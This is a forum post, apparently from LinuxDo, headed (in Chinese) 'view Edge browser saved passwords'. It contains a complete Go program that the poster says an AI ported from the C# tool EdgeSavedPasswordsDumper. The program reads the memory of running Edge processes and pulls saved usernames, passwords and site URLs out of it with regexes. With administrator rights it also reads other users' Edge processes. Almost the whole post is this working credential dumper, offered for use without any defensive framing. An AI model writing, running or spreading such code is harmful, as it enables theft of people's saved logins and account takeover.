Edge浏览器保存密码查看

package main import ( "fmt" "regexp" "strings" "syscall" "unsafe" "github.com/StackExchange/wmi" "golang.org/x/sys/windows" ) const ( PROCESS_QUERY_IN...
Edge浏览器保存密码查看
Edge浏览器保存密码查看
package main

import (
	"fmt"
	"regexp"
	"strings"
	"syscall"
	"unsafe"

	"github.com/StackExchange/wmi"
	"golang.org/x/sys/windows"
)

const (
	PROCESS_QUERY_INFORMATION = 0x0400
	PROCESS_VM_READ           = 0x0010
	MEM_COMMIT                = 0x1000
	PAGE_READWRITE            = 0x04
)

type MEMORY_BASIC_INFORMATION struct {
	BaseAddress       uintptr
	AllocationBase    uintptr
	AllocationProtect uint32
	RegionSize        uintptr
	State             uint32
	Protect           uint32
	Type              uint32
}

type ProcessInfo struct {
	Id          uint32
	Name        string
	Owner       string
}

type Win32Process struct {
	ProcessId       uint32
	Name            string
	ParentProcessId uint32
}

var (
	kernel32 = windows.NewLazySystemDLL("kernel32.dll")
	advapi32 = windows.NewLazySystemDLL("advapi32.dll")

	procOpenProcess      = kernel32.NewProc("OpenProcess")
	procVirtualQueryEx   = kernel32.NewProc("VirtualQueryEx")
	procReadProcessMemory = kernel32.NewProc("ReadProcessMemory")
	procCloseHandle      = kernel32.NewProc("CloseHandle")
	procOpenProcessToken = advapi32.NewProc("OpenProcessToken")
)

func OpenProcess(dwDesiredAccess uint32, bInheritHandle bool, dwProcessId uint32) (windows.Handle, error) {
	var inheritHandle uint32
	if bInheritHandle {
		inheritHandle = 1
	}
	
	handle, _, err := procOpenProcess.Call(
		uintptr(dwDesiredAccess),
		uintptr(inheritHandle),
		uintptr(dwProcessId),
	)
	
	if handle == 0 {
		return 0, err
	}
	
	return windows.Handle(handle), nil
}

func VirtualQueryEx(hProcess windows.Handle, lpAddress uintptr, lpBuffer *MEMORY_BASIC_INFORMATION, dwLength uint32) uintptr {
	ret, _, _ := procVirtualQueryEx.Call(
		uintptr(hProcess),
		lpAddress,
		uintptr(unsafe.Pointer(lpBuffer)),
		uintptr(dwLength),
	)
	return ret
}

func ReadProcessMemory(hProcess windows.Handle, lpBaseAddress uintptr, lpBuffer *byte, nSize uintptr, lpNumberOfBytesRead *uintptr) bool {
	ret, _, _ := procReadProcessMemory.Call(
		uintptr(hProcess),
		lpBaseAddress,
		uintptr(unsafe.Pointer(lpBuffer)),
		nSize,
		uintptr(unsafe.Pointer(lpNumberOfBytesRead)),
	)
	return ret != 0
}

func CloseHandle(hObject windows.Handle) bool {
	ret, _, _ := procCloseHandle.Call(uintptr(hObject))
	return ret != 0
}

func OpenProcessToken(ProcessHandle windows.Handle, DesiredAccess uint32, TokenHandle *windows.Token) error {
	ret, _, err := procOpenProcessToken.Call(
		uintptr(ProcessHandle),
		uintptr(DesiredAccess),
		uintptr(unsafe.Pointer(TokenHandle)),
	)
	if ret == 0 {
		return err
	}
	return nil
}

func GetProcessOwnerFromToken(pid uint32) string {
	handle, err := OpenProcess(0x1000 /* QUERY_LIMITED_INFORMATION */, false, pid)
	if err != nil || handle == 0 {
		return "UNKNOWN"
	}
	defer CloseHandle(handle)

	var token windows.Token
	err = OpenProcessToken(handle, 8 /* TOKEN_QUERY */, &token)
	if err != nil {
		return "UNKNOWN"
	}
	defer token.Close()

	tokenUser, err := token.GetTokenUser()
	if err != nil {
		return "UNKNOWN"
	}

	accountName, _, _, err := tokenUser.User.Sid.LookupAccount("")
	if err != nil {
		return "UNKNOWN"
	}

	return accountName
}

func IsElevated() bool {
	var sid *windows.SID
	err := windows.AllocateAndInitializeSid(
		&windows.SECURITY_NT_AUTHORITY,
		2,
		windows.SECURITY_BUILTIN_DOMAIN_RID,
		windows.DOMAIN_ALIAS_RID_ADMINS,
		0, 0, 0, 0, 0, 0,
		&sid,
	)
	if err != nil {
		return false
	}
	defer windows.FreeSid(sid)

	token := windows.GetCurrentProcessToken()
	isMember, err := token.IsMember(sid)
	if err != nil {
		return false
	}
	return isMember
}

func main() {
	isElevated := IsElevated()

	if !isElevated {
		fmt.Print("\033[31m[x]\033[0m")
		fmt.Println(" Not running elevated.")
		fmt.Println("\nProgram will only be able to access Edge processes run by the same user.")
		fmt.Println("The program might also fail trying to look up owner of some Edge processes.\n")
	} else {
		fmt.Print("\033[32m[v]\033[0m")
		fmt.Println(" Running elevated.\n")
	}

	fmt.Print("Fetching browser processes:")

	totalMatches := 0
	shownMatches := 0

	seenStrings := make(map[string]struct{})
	alreadyCheckedUsers := make(map[string]struct{})

	var processes []Win32Process
	query := "SELECT ProcessId, Name, ParentProcessId FROM Win32_Process WHERE Name='msedge.exe'"
	err := wmi.Query(query, &processes)
	if err != nil {
		fmt.Printf("Error querying WMI: %v\n", err)
		return
	}

	var processList []ProcessInfo

	for _, proc := range processes {
		parentPid := proc.ParentProcessId

		skip := false

		// Check parent process
		parentHandle, err := OpenProcess(PROCESS_QUERY_INFORMATION, false, parentPid)
		if err == nil && parentHandle != 0 {
			// Get parent process name
			var exeName [windows.MAX_PATH]uint16
			size := uint32(len(exeName))
			err = windows.QueryFullProcessImageName(windows.Handle(parentHandle), 0, &exeName[0], &size)
			if err == nil {
				name := syscall.UTF16ToString(exeName[:])
				if strings.Contains(strings.ToLower(name), "msedge") {
					skip = true
				}
			}
			CloseHandle(parentHandle)
		}

		if skip {
			continue
		}

		processList = append(processList, ProcessInfo{
			Id:    proc.ProcessId,
			Name:  proc.Name,
			Owner: GetProcessOwnerFromToken(proc.ProcessId),
		})
	}

	fmt.Println(" Done.\n")

	for _, proc := range processList {
		key := fmt.Sprintf("%s %s", proc.Owner, proc.Name)
		if _, exists := alreadyCheckedUsers[key]; exists {
			continue
		}

		owner := strings.Replace(proc.Owner, "NSC\\t1_", "", -1)
		fmt.Printf("Scanning process PID: %d\tName: %s\tOwner: %s\n", proc.Id, proc.Name, owner)

		processHandle, err := OpenProcess(PROCESS_QUERY_INFORMATION|PROCESS_VM_READ, false, proc.Id)
		if err != nil || processHandle == 0 {
			fmt.Printf("Failed to open process: %d %s %s\n", proc.Id, proc.Name, proc.Owner)
			continue
		}

		var address uintptr = 0
		var memInfo MEMORY_BASIC_INFORMATION
		memInfoSize := uint32(unsafe.Sizeof(memInfo))

		for VirtualQueryEx(processHandle, address, &memInfo, memInfoSize) != 0 {
			readable := memInfo.State == MEM_COMMIT && memInfo.Protect == PAGE_READWRITE

			if readable {
				buffer := make([]byte, memInfo.RegionSize)
				var bytesRead uintptr

				ret, _, _ := procReadProcessMemory.Call(
					uintptr(processHandle),
					memInfo.BaseAddress,
					uintptr(unsafe.Pointer(&buffer[0])),
					memInfo.RegionSize,
					uintptr(unsafe.Pointer(&bytesRead)),
				)

				if ret != 0 {
					utf8 := string(buffer)
					lines := strings.Split(utf8, "\n")

					for _, line := range lines {
						// Pattern for saved passwords
						pattern := regexp.MustCompile(`[a-zA-Z]https?\x20([a-zA-Z0-9\\\-_\.@\?]{1,20})\x20([a-zA-Z0-9#!@#\$%\^&\*\(\)_\-\+=\{\}\[\]:;<>\?/~\s]{1,40})\x20\x00`)

						matches := pattern.FindAllStringSubmatch(line, -1)

						for _, match := range matches {
							if len(match) < 3 {
								continue
							}
							
							username := match[1]
							password := match[2]
							potentialPattern := fmt.Sprintf("%s : %s", username, password)

							urlPattern := regexp.MustCompile(fmt.Sprintf(`\x00\x00\x00([A-Za-z0-9\-._~:/?#\[\]@!$&'()*+,;=%%]+)(https?)\x20%s %s`, 
								regexp.QuoteMeta(username), regexp.QuoteMeta(password)))

							urlMatches := urlPattern.FindAllStringSubmatch(line, -1)

							for _, urlMatch := range urlMatches {
								if len(urlMatch) < 2 {
									continue
								}
								
								value := urlMatch[1]
								combined := fmt.Sprintf("%s @%s", potentialPattern, value)
								
								if _, seen := seenStrings[combined]; !seen {
									fmt.Println(combined)
									seenStrings[combined] = struct{}{}
									shownMatches++
									totalMatches++
								}
							}
							
							alreadyCheckedUsers[key] = struct{}{}
						}
					}
				}
			}
			address = memInfo.BaseAddress + memInfo.RegionSize
		}

		CloseHandle(processHandle)
	}

	seenStrings = nil

	fmt.Printf("\nTotal matches found across all processes: %d. %d shown.\n", totalMatches, shownMatches)
}

根据EdgeSavedPasswordsDumper(c#) 用AI转的go的

1 个帖子 - 1 位参与者

阅读完整话题

来源: LinuxDo 最新话题查看原文